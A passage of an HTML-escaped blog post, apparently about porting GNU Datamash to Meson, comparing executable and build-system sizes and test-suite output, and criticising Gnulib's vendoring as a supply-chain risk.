href=\"https:\/\/en.wikipedia.org\/wiki\/.bss\">bss<\/a><\/th>\n<th>total<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>1.9<\/td>\n<td>datamash<\/td>\n<td>97370<\/td>\n<td>42120<\/td>\n<td>968<\/td>\n<td>140458<\/td>\n<\/tr>\n<tr>\n<td>meson<\/td>\n<td>datamash<\/td>\n<td>46736<\/td>\n<td>35756<\/td>\n<td>640<\/td>\n<td>83132<\/td>\n<\/tr>\n<tr>\n<td>1.9<\/td>\n<td>decorate<\/td>\n<td>27348<\/td>\n<td>22068<\/td>\n<td>1576<\/td>\n<td>50992<\/td>\n<\/tr>\n<tr>\n<td>meson<\/td>\n<td>decorate<\/td>\n<td>15520<\/td>\n<td>16224<\/td>\n<td>1248<\/td>\n<td>32992<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>That means that the code size of the datamash executable is reduced by over <strong>50 percent<\/strong>.<\/p>\n<p>These space savings are due to only linking those parts of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Gnulib\">Gnulib<\/a> that are essential,\ni.e. Datamash 1.9 links the following 120 Gnulib translation units:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"go\">af_alg.c                        hash-pjw-bare.c                 stat-time.c<\/span>\n<span class=\"go\">arpa_inet.c                     hash-pjw.c                      stdlib.c<\/span>\n<span class=\"go\">asnprintf.c                     ialloc.c                        striconv.c<\/span>\n<span class=\"go\">base64.c                        imaxtostr.c                     stripslash.c<\/span>\n<span class=\"go\">basename.c                      inttostr.c                      strnlen1.c<\/span>\n<span class=\"go\">basename-lgpl.c                 linebuffer.c                    sys_socket.c<\/span>\n<span class=\"go\">bitrotate.c                     localcharset.c                  trim.c<\/span>\n<span class=\"go\">c32isalnum.c                    localename.c                    u64.c<\/span>\n<span class=\"go\">c32isalpha.c                    localename-environ.c            uinttostr.c<\/span>\n<span class=\"go\">c32isblank.c                    localename-table.c              umaxtostr.c<\/span>\n<span class=\"go\">c32iscntrl.c                    localename-unsafe.c             unicase\/tolower.c<\/span>\n<span class=\"go\">c32isdigit.c                    malloca.c                       unictype\/ctype_alnum.c<\/span>\n<span class=\"go\">c32isgraph.c                    math.c                          unictype\/ctype_alpha.c<\/span>\n<span class=\"go\">c32islower.c                    mbchar.c                        unictype\/ctype_blank.c<\/span>\n<span class=\"go\">c32isprint.c                    mbrtoc32.c                      unictype\/ctype_cntrl.c<\/span>\n<span class=\"go\">c32ispunct.c                    mbrtowc.c                       unictype\/ctype_digit.c<\/span>\n<span class=\"go\">c32isspace.c                    mbslen.c                        unictype\/ctype_graph.c<\/span>\n<span class=\"go\">c32isupper.c                    mbsstr.c                        unictype\/ctype_lower.c<\/span>\n<span class=\"go\">c32isxdigit.c                   mbszero.c                       unictype\/ctype_print.c<\/span>\n<span class=\"go\">c32tolower.c                    mbuiter.c                       unictype\/ctype_punct.c<\/span>\n<span class=\"go\">c32width.c                      mbuiterf.c                      unictype\/ctype_space.c<\/span>\n<span class=\"go\">c-ctype.c                       md5.c                           unictype\/ctype_upper.c<\/span>\n<span class=\"go\">cloexec.c                       md5-stream.c                    unictype\/ctype_xdigit.c<\/span>\n<span class=\"go\">closeout.c                      offtostr.c                      unistd.c<\/span>\n<span class=\"go\">close-stream.c                  printf-args.c                   unistr\/u8-mbtoucr.c<\/span>\n<span class=\"go\">c-strcasecmp.c                  printf-parse.c                  unistr\/u8-uctomb-aux.c<\/span>\n<span class=\"go\">dirname.c                       progname.c                      unistr\/u8-uctomb.c<\/span>\n<span class=\"go\">dirname-lgpl.c                  propername.c                    uniwidth\/width.c<\/span>\n<span class=\"go\">exitfail.c                      quotearg.c                      vasnprintf.c<\/span>\n<span class=\"go\">fcntl.c                         reallocarray.c                  version-etc.c<\/span>\n<span class=\"go\">fd-hook.c                       realloc.c                       vsnzprintf.c<\/span>\n<span class=\"go\">fpurge.c                        setlocale_null.c                wctype-h.c<\/span>\n<span class=\"go\">freading.c                      setlocale_null-unlocked.c       xalloc-die.c<\/span>\n<span class=\"go\">getlocalename_l-unsafe.c        sha1.c                          xmalloc.c<\/span>\n<span class=\"go\">getprogname.c                   sha1-stream.c                   xsize.c<\/span>\n<span class=\"go\">glthread\/lock.c                 sha256.c                        xstriconv.c<\/span>\n<span class=\"go\">glthread\/once.c                 sha256-stream.c                 xstrtol.c<\/span>\n<span class=\"go\">glthread\/threadlib.c            sha512.c                        xstrtol-error.c<\/span>\n<span class=\"go\">hard-locale.c                   sha512-stream.c                 xstrtoul.c<\/span>\n<span class=\"go\">hash.c                          sh-quote.c                      xstrtoumax.c<\/span>\n<\/code><\/pre><\/div>\n\n<p>While the Meson branch only links the following 9 Gnulib translation units:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"go\">exitfail.c<\/span>\n<span class=\"go\">hash.c<\/span>\n<span class=\"go\">hashcode-mem.c<\/span>\n<span class=\"go\">hashcode-string2.c<\/span>\n<span class=\"go\">linebuffer.c<\/span>\n<span class=\"go\">next-prime.c<\/span>\n<span class=\"go\">version-etc.c<\/span>\n<span class=\"go\">xalloc-die.c<\/span>\n<span class=\"go\">xmalloc.c<\/span>\n<\/code><\/pre><\/div>\n\n<p>The following measures make this reduction possible:<\/p>\n<ol>\n<li>Identifying Gnulib functionality that is widely available in the standard library\n   or in quasi-standard libraries and use that instead of Gnulib.<\/li>\n<li>Removal of accidental code bloat.<\/li>\n<\/ol>\n<p>For example, after <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commit\/9a7b5e271e6d000cf9c9db2587c6fb7355726a6d\">fixing the percentile computation<\/a>, I was able to replace the separate <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commit\/27ee8d1995a8032bb579454140225612636afd5c\">median implementation<\/a> with an alias that saves 200 bytes or so in code size.<\/p>\n<p>Since <a href=\"https:\/\/en.wikipedia.org\/wiki\/Nettle_(cryptographic_library)\">libnettle<\/a> is widely available and often pre-installed as core system dependency,\nit suggests itself for the cryptographic hash and base64 computations in datamash instead of <a href=\"https:\/\/en.wiktionary.org\/wiki\/vendor#Verb\">vendoring<\/a> in the Gnulib versions.\n<a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commit\/63f234ec7ff33d81af82f3772f09e4ef8a9d7598\">Switching to libnettle<\/a>\nis a moderate source code change but saves several kilobytes in the executable.<\/p>\n<p>Another source of Gnulib over-usage is quoting, i.e. after <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commit\/df9e598b89c00483d0e8221ca866717e33195355\">replacing a popen<\/a> invocation with an idiomatic direct fork and exec sequence, we can get rid of Gnulib's <code>sh-quote.c<\/code> translation unit and its dependency hell.\nSimilarly, to me a <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commit\/b4a30543833c89bc70099cf003001b598be57b37\">minimal quoting implementation<\/a> in the datamash decorate command is preferable as it's more size efficient and easier to review.<\/p>\n<p>One more code bloat source is how Datamash 1.9 quotes trivial arguments in error messages, i.e. via a Gnulib function that quotes in a localized fashion. I don't think that this is worth it and thus switched the branch to a <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/src\/commit\/1fc869a607497c7a366af9d8a18abf5d3d8ddd87\/modern\/system.c\">more minimal version<\/a>.<\/p>\n<p>In another example, I changed the code into invoking the standardized <a href=\"https:\/\/opencommit.eu\/gms\/datamash\/commit\/36768af613dca2c92b2b24e78062c5991d44d980\">strtoumax<\/a> instead of using the closely named but non-conforming Gnulib version.<\/p>\n<p>Besides code sizes, Gnulib versions are always suspect to being less battle-tested and optimized,\nand when bugs are fixed in them, it's easy to miss updates, i.e. in contrast to a shared system library,\nas Gnulib is designed to be <a href=\"https:\/\/en.wiktionary.org\/wiki\/vendor#Verb\">vendored<\/a>.<\/p>\n<p>Of course, the code changes aren't really Meson specific,\nbut I argue that the way I integrated the Gnulib dependencies into to Meson build file simplified\nthose changes vs. having to hack the autotools Gnulib integration to link only the essential translation units.<\/p>\n<h2 id=\"on-gnulib\">On Gnulib<a class=\"headerlink\" href=\"#on-gnulib\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/Gnulib\">Gnulib<\/a> describes itself as source-code library and a user is supposed to <a href=\"https:\/\/en.wiktionary.org\/wiki\/vendor#Verb\">vendor<\/a> the gnulib parts one\nneeds into a project (i.e. copy and bundle gnulib source code files with his\/her project).<\/p>\n<p>Although the Gnulib manual has a few paragraphs on its philosophy and design, it doesn't give <em>any<\/em> rationale for <em>that<\/em> odd design decision. It <a href=\"https:\/\/www.gnu.org\/software\/gnulib\/manual\/gnulib.html#Library-vs_002e-Reusable-Code\">just states<\/a>:<\/p>\n<blockquote>\n<p>Classical libraries are installed as binary object code. Gnulib is different: It is used as a source code library. Each package that uses Gnulib thus ships with part of the Gnulib source code. The used portion of Gnulib is tailored to the package: A build tool, called gnulib-tool, is provided that copies a tailored subset of Gnulib into the package.<\/p>\n<\/blockquote>\n<p>In my opinion Gnulib is different here for now good reason.\nThere is no reason why Gnulib couldn't provide the same functionality, i.e. the portability wrapper and glue code functions\nin a secure, reliable and structured way, as a normal shared library, like - say - <a href=\"https:\/\/libbsd.freedesktop.org\/\">libbsd<\/a>.<\/p>\n<p>Even worse, this introduces several disadvantages:<\/p>\n<ol>\n<li>Similar to all the generated build file cruft Autotools projects come with,\n   Gnulib code from some arbitrary version dumped into a <code>lib\/<\/code> sub-directory is\n   just another great opportunity for a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Supply_chain_attack\">supply chain attacker<\/a> to hide malicious code.<\/li>\n<li>As with static linking, and in contrast to shared linking, updates to library\n   require rebuilding all users.<\/li>\n<li>Worse than with static linking, since the code is bundled, the dependency isn't obvious,\n   and thus easy to miss. For example, it cannot be searched for with a distribution's package manager.<\/li>\n<li>Bundling Gnulib multiplies reviewing efforts, since with each copy it has to be checked\n   whether it can be traced to the upstream Gnulib repository or contains malicious modifications.<\/li>\n<\/ol>\n<p>Curiously, when it comes to <a href=\"https:\/\/www.gnu.org\/software\/gnulib\/manual\/gnulib.html#Comparison-with-other-source-code-libraries\">supply chain security Gnulib tries to talk down\nother language package ecosystems<\/a>, while completely ignoring it's own fundamental issues:<\/p>\n<blockquote>\n<p>Many programming languages nowadays have\nan ecosystem of reusable source code packages, available through a central site,\ntogether with a tool that downloads dependencies from this central site. \n[.. Python example ..]\nMost of them are vulnerable to supply chain attacks.\n[..]\nWhile some mitigations exist, they are often cumbersome to put in place.\n[..]\nGnulib is not vulnerable to such attacks, because all of its code is managed in a single repository, with a limited set of committers and with established code review practices.<\/p>\n<\/blockquote>\n<p>This misses the point very hard.<\/p>\n<p>If you take their Python example, the stuff Gnulib provides <em>is<\/em> part of the Python standard library, since it <em>exactly<\/em> fits Python's <a href=\"https:\/\/en.wikipedia.org\/wiki\/Batteries_Included\">batteries included<\/a> philosophy.\nThus, there is really no need to install some random package via pip for basic functionality,\nas the Gnulib team is trying to insinuate here.<\/p>\n<p>Having a limited set of comitters and 'established code review practices' transports almost zero information.\nMany projects could claim that.\nEven the <a href=\"https:\/\/en.wikipedia.org\/wiki\/XZ_Utils_backdoor\">xz project<\/a> had a limited set of comitters.<\/p>\n<p>The main <a href=\"https:\/\/en.wikipedia.org\/wiki\/Supply_chain_attack\">supply chain<\/a> risk the Gnulib team should worry about is the <a href=\"https:\/\/en.wiktionary.org\/wiki\/vendor#Verb\">vendoring<\/a> of their 'library'.\nInstead of encouraging developers to bundle their questionable\nwrappers, where better standardized wrappers or common libraries\nexist for decades, Gnulib could look into releasing a proper shared library.<\/p>\n<h2 id=\"source-overhead\">Source Overhead<a class=\"headerlink\" href=\"#source-overhead\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Another important metric is the size of the build system in a project.\nThe more files and more lines of code the higher the efforts for review, maintenance and debugging when something goes wrong.<\/p>\n<p>With Datamash 1.9 the <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a> build system is quite large.\nThere are at least:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wc<span class=\"w\"> <\/span>-l<span class=\"w\"> <\/span>aclocal.m4<span class=\"w\"> <\/span>cfg.mk<span class=\"w\"> <\/span>config.in<span class=\"w\">  <\/span>configure<span class=\"w\">  <\/span>configure.ac<span class=\"w\"> <\/span>GNUmakefile<span class=\"w\"> <\/span>init.cfg<span class=\"w\"> <\/span>maint.mk<span class=\"w\"> <\/span>Makefile.am<span class=\"w\"> <\/span>Makefile.in<span class=\"w\">    <\/span>\n<span class=\"w\">   <\/span><span class=\"m\">1926<\/span><span class=\"w\"> <\/span>aclocal.m4\n<span class=\"w\">    <\/span><span class=\"m\">193<\/span><span class=\"w\"> <\/span>cfg.mk\n<span class=\"w\">   <\/span><span class=\"m\">3047<\/span><span class=\"w\"> <\/span>config.in\n<span class=\"w\">  <\/span><span class=\"m\">56440<\/span><span class=\"w\"> <\/span>configure\n<span class=\"w\">    <\/span><span class=\"m\">229<\/span><span class=\"w\"> <\/span>configure.ac\n<span class=\"w\">    <\/span><span class=\"m\">130<\/span><span class=\"w\"> <\/span>GNUmakefile\n<span class=\"w\">     <\/span><span class=\"m\">79<\/span><span class=\"w\"> <\/span>init.cfg\n<span class=\"w\">   <\/span><span class=\"m\">1950<\/span><span class=\"w\"> <\/span>maint.mk\n<span class=\"w\">    <\/span><span class=\"m\">347<\/span><span class=\"w\"> <\/span>Makefile.am\n<span class=\"w\">  <\/span><span class=\"m\">12206<\/span><span class=\"w\"> <\/span>Makefile.in\n<span class=\"w\">  <\/span><span class=\"m\">76547<\/span><span class=\"w\"> <\/span>total\n$<span class=\"w\"> <\/span>du<span class=\"w\"> <\/span>-ch<span class=\"w\"> <\/span>aclocal.m4<span class=\"w\"> <\/span>cfg.mk<span class=\"w\"> <\/span>config.in<span class=\"w\">  <\/span>configure<span class=\"w\">  <\/span>configure.ac<span class=\"w\"> <\/span>GNUmakefile<span class=\"w\"> <\/span>init.cfg<span class=\"w\"> <\/span>maint.mk<span class=\"w\"> <\/span>Makefile.am<span class=\"w\"> <\/span>Makefile.in<span class=\"w\">  <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>tail<span class=\"w\"> <\/span>-1\n<span class=\"m\">2<\/span>.5M<span class=\"w\">    <\/span>total\n<\/code><\/pre><\/div>\n\n<p>The <code>configure<\/code> is auto-generated from other files and part of the release source archive\nto allow users compilation without having to install <a href=\"https:\/\/en.wikipedia.org\/wiki\/Autoconf\">autoconf<\/a>.<\/p>\n<p>After running <code>.\/configure<\/code> another large Makefile is generated:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wc<span class=\"w\"> <\/span>-l<span class=\"w\"> <\/span>Makefile\n<span class=\"m\">12206<\/span><span class=\"w\"> <\/span>Makefile\n$<span class=\"w\"> <\/span>du<span class=\"w\"> <\/span>-h<span class=\"w\"> <\/span>Makefile\n800K<span class=\"w\">    <\/span>Makefile\n<\/code><\/pre><\/div>\n\n<p>For comparison, the actual Datamash Source Code is less than 400 kilobytes large:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>du<span class=\"w\"> <\/span>-h<span class=\"w\"> <\/span>src\n316K<span class=\"w\">    <\/span>src\n<\/code><\/pre><\/div>\n\n<p>In addition, the <a href=\"https:\/\/en.wiktionary.org\/wiki\/vendor#Verb\">vendored<\/a> Gnulib sources come with over 30 thousand lines (or over 1 megabyte) of <a href=\"https:\/\/en.wikipedia.org\/wiki\/M4_(computer_language)\">m4<\/a> macros and over 4 MiB of bundled C source code:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wc<span class=\"w\"> <\/span>-l<span class=\"w\"> <\/span>m4\/*<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>tail<span class=\"w\"> <\/span>-1\n<span class=\"w\">  <\/span><span class=\"m\">33272<\/span><span class=\"w\"> <\/span>total\n$<span class=\"w\"> <\/span>du<span class=\"w\"> <\/span>-h<span class=\"w\"> <\/span>m4\n<span class=\"m\">1<\/span>.7M<span class=\"w\">    <\/span>m4\n$<span class=\"w\"> <\/span>du<span class=\"w\"> <\/span>-h<span class=\"w\"> <\/span>lib\n<span class=\"m\">4<\/span>.3M<span class=\"w\">    <\/span>lib\n<\/code><\/pre><\/div>\n\n<p>When building from the datamash git repository, one also has to consider\nat least just another largish shell script:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wc<span class=\"w\"> <\/span>-l<span class=\"w\"> <\/span>bootstrap*\n<span class=\"w\"> <\/span><span class=\"m\">1087<\/span><span class=\"w\"> <\/span>bootstrap\n<span class=\"w\">  <\/span><span class=\"m\">177<\/span><span class=\"w\"> <\/span>bootstrap.conf\n<span class=\"w\"> <\/span><span class=\"m\">1264<\/span><span class=\"w\"> <\/span>total\n<\/code><\/pre><\/div>\n\n<p>This is for generating Autotools files which aren't part of the repository,\nsuch as the large <code>configure<\/code> script.\nIt also updates the Gnulib bundle and downloads translation files.\nAgain this is another good target for a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Supply_chain_attack\">supply chain attacker<\/a> to hide malicious code.\nOften such <a href=\"https:\/\/en.wikipedia.org\/wiki\/Boilerplate_code\">boilerplate code<\/a> is just copy and pasted from some upstream and doesn't need to be customized,\nbut having to review that, having to check whether it was modified, if it was whether the modification is legitimate,\nis quite wasteful, i.e. busy work that isn't necessary when using a better build tool.<\/p>\n<p>Having all those bits and pieces bundled also increases the risk only updating some of it and thus ending\nup with a collection of moving parts and state that is very likely to be untested.<\/p>\n<hr>\n<p>In comparison, with the Meson branch there is just:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wc<span class=\"w\"> <\/span>-l<span class=\"w\"> <\/span>meson.build<span class=\"w\"> <\/span>meson.options<span class=\"w\"> <\/span>po\/meson.build<span class=\"w\"> <\/span>\n<span class=\"w\">  <\/span><span class=\"m\">404<\/span><span class=\"w\"> <\/span>meson.build\n<span class=\"w\">    <\/span><span class=\"m\">6<\/span><span class=\"w\"> <\/span>meson.options\n<span class=\"w\">    <\/span><span class=\"m\">5<\/span><span class=\"w\"> <\/span>po\/meson.build\n<span class=\"w\">  <\/span><span class=\"m\">415<\/span><span class=\"w\"> <\/span>total\n$<span class=\"w\"> <\/span>du<span class=\"w\"> <\/span>-ch<span class=\"w\"> <\/span>meson.build<span class=\"w\"> <\/span>meson.options<span class=\"w\"> <\/span>po\/meson.build<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>tail<span class=\"w\"> <\/span>-1\n28K<span class=\"w\">     <\/span>total\n<\/code><\/pre><\/div>\n\n<p>The 404 lines meson.build is structured like this:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>#lines<\/th>\n<th>category<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>56<\/td>\n<td>comments<\/td>\n<\/tr>\n<tr>\n<td>55<\/td>\n<td>empty lines<\/td>\n<\/tr>\n<tr>\n<td>91<\/td>\n<td>configuration data macro settings<\/td>\n<\/tr>\n<tr>\n<td>53<\/td>\n<td>test suite definitions<\/td>\n<\/tr>\n<tr>\n<td>149<\/td>\n<td>main build target definitions<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>With Meson the megabytes of Autotools bloat listed above can be dropped.\nSince the Meson build file uses a system-wide installed Gnulib, a few more megabytes can be dropped,\nremoving the bundled copy.\nRemoving those files would reduce the size of the release\n<code>.tar.gz<\/code> archive by almost 50 %, i.e. from 2.6 MiB to 1.4 MiB or\nso.<\/p>\n<h2 id=\"test-suite\">Test Suite<a class=\"headerlink\" href=\"#test-suite\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/www.gnu.org\/software\/datamash\/\">Datamash<\/a> comes with a test suite, i.e. a bunch of (mostly Perl) scripts that invoke the datamash\nexecutables with various test inputs.<\/p>\n<p>With <a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Autotools\">Autotools<\/a> a test suite invocation runs like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>make<span class=\"w\"> <\/span>check\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nb\">test<\/span><span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>.\/.git<span class=\"w\">                               <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>--version<span class=\"w\"> <\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">1<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span><span class=\"w\">                  <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span><span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>.<span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\">                                               <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span>git<span class=\"w\"> <\/span>submodule<span class=\"w\"> <\/span>--quiet<span class=\"w\"> <\/span>foreach<span class=\"w\">                                 <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">      <\/span><span class=\"s1\">&#39;test &quot;$(git rev-parse &quot;$sha1&quot;)&quot;                  \\<\/span>\n<span class=\"s1\">          = &quot;$(git merge-base origin &quot;$sha1&quot;)&quot;&#39;<\/span><span class=\"w\">         <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">    <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span><span class=\"w\"> <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;maint.mk: found non-public submodule commit&#39;<\/span><span class=\"w\"> <\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">2<\/span><span class=\"p\">;<\/span><span class=\"w\">        <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">         <\/span><span class=\"nb\">exit<\/span><span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">}<\/span><span class=\"p\">;<\/span><span class=\"w\">                                             <\/span><span class=\"se\">\\<\/span>\n<span class=\"k\">else<\/span><span class=\"w\">                                                            <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span>:<span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"w\">                                                           <\/span><span class=\"se\">\\<\/span>\n<span class=\"k\">fi<\/span>\nmake<span class=\"w\">  <\/span>check-recursive\nmake<span class=\"o\">[<\/span><span class=\"m\">1<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Entering<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\nMaking<span class=\"w\"> <\/span>check<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>po\nmake<span class=\"o\">[<\/span><span class=\"m\">2<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Entering<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9\/po&#39;<\/span>\nmake<span class=\"o\">[<\/span><span class=\"m\">2<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Nothing<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>be<span class=\"w\"> <\/span><span class=\"k\">done<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;check&#39;<\/span>.\nmake<span class=\"o\">[<\/span><span class=\"m\">2<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Leaving<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9\/po&#39;<\/span>\nmake<span class=\"o\">[<\/span><span class=\"m\">2<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Entering<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\nmake<span class=\"w\">  <\/span>check-TESTS\nmake<span class=\"o\">[<\/span><span class=\"m\">3<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Entering<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\nmake<span class=\"o\">[<\/span><span class=\"m\">4<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Entering<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\nPASS:<span class=\"w\"> <\/span>tests\/datamash-show-env.sh\nPASS:<span class=\"w\"> <\/span>tests\/datamash-tests.pl\nPASS:<span class=\"w\"> <\/span>tests\/datamash-tests-deprecated.pl\nPASS:<span class=\"w\"> <\/span>tests\/datamash-tests-2.pl\n<span class=\"o\">[<\/span>..<span class=\"o\">]<\/span>\nPASS:<span class=\"w\"> <\/span>tests\/decorate-sort-tests.pl\n<span class=\"o\">============================================================================<\/span>\nTestsuite<span class=\"w\"> <\/span>summary<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>GNU<span class=\"w\"> <\/span>datamash<span class=\"w\"> <\/span><span class=\"m\">1<\/span>.9\n<span class=\"o\">============================================================================<\/span>\n<span class=\"c1\"># TOTAL: 30<\/span>\n<span class=\"c1\"># PASS:  28<\/span>\n<span class=\"c1\"># SKIP:  2<\/span>\n<span class=\"c1\"># XFAIL: 0<\/span>\n<span class=\"c1\"># FAIL:  0<\/span>\n<span class=\"c1\"># XPASS: 0<\/span>\n<span class=\"c1\"># ERROR: 0<\/span>\n<span class=\"o\">============================================================================<\/span>\nmake<span class=\"o\">[<\/span><span class=\"m\">4<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Leaving<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\nmake<span class=\"o\">[<\/span><span class=\"m\">3<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Leaving<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\nmake<span class=\"o\">[<\/span><span class=\"m\">2<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Leaving<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\nmake<span class=\"o\">[<\/span><span class=\"m\">1<\/span><span class=\"o\">]<\/span>:<span class=\"w\"> <\/span>Leaving<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"s1\">&#39;\/home\/juser\/del\/datamash-1.9&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>As it's common with Autotools, there is a lot of extra noise and echoing that distracts from the important information.<\/p>\n<hr>\n<p>In comparison the Meson output is more to the point and useful:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>meson<span class=\"w\"> <\/span><span class=\"nb\">test<\/span><span class=\"w\">                                                 <\/span>\nninja:<span class=\"w\"> <\/span>Entering<span class=\"w\"> <\/span>directory<span class=\"w\"> <\/span><span class=\"sb\">`<\/span>\/home\/juser\/del\/datamash\/build<span class=\"err\">&#39;<\/span>\nninja:<span class=\"w\"> <\/span>no<span class=\"w\"> <\/span>work<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span><span class=\"k\">do<\/span>.\n<span class=\"w\"> <\/span><span class=\"m\">1<\/span>\/25<span class=\"w\"> <\/span>deprecated_test<span class=\"w\">                     <\/span>OK<span class=\"w\">              <\/span><span class=\"m\">0<\/span>.08s\n<span class=\"w\"> <\/span><span class=\"m\">2<\/span>\/25<span class=\"w\"> <\/span>tests2<span class=\"w\">                              <\/span>OK<span class=\"w\">              <\/span><span class=\"m\">0<\/span>.40s\n<span class=\"w\"> <\/span><span class=\"m\">3<\/span>\/25<span class=\"w\"> <\/span>deprecated2_test<span class=\"w\">                    <\/span>OK<span class=\"w\">              <\/span><span class=\"m\">0<\/span>.07s\n<span class=\"w\"> <\/span><span class=\"m\">4<\/span>\/25<span class=\"w\"> <\/span>tests<span class=\"w\">                               <\/span>OK<span class=\"w\">              <\/span><span class=\"m\">0<\/span>.66s\n<span class=\"w\"> <\/span><span class=\"m\">5<\/span>\/25<span class=\"w\"> <\/span>parser_test<span class=\"w\">                         <\/span>OK<span class=\"w\">              <\/span><span class=\"m\">0<\/span>.20s\n<span class=\"w\"> <\/span><span class=\"m\">6<\/span>\/25<span class=\"w\"> <\/span>md5_test<span class=\"w\">                            <\/span>OK<span class=\"w\">              <\/span><span class=\"m\">0<\/span>.04s\n<span class=\"o\">[<\/span>..<span class=\"o\">]<\/span>\n<span class=\"m\">25<\/span>\/25<span class=\"w\"> <\/span>deco_sort<span class=\"w\">                           <\/span>OK<span class=\"w\">              <\/span><span class=\"m\">0<\/span>.15s\n\nOk:<span class=\"w\">                <\/span><span class=\"m\">25<\/span><span class=\"w\">  <\/span>\nFail:<span class=\"w\">              <\/span><span class=\"m\">0<\/span><span class=\"w\">   <\/span>\n\nFull<span 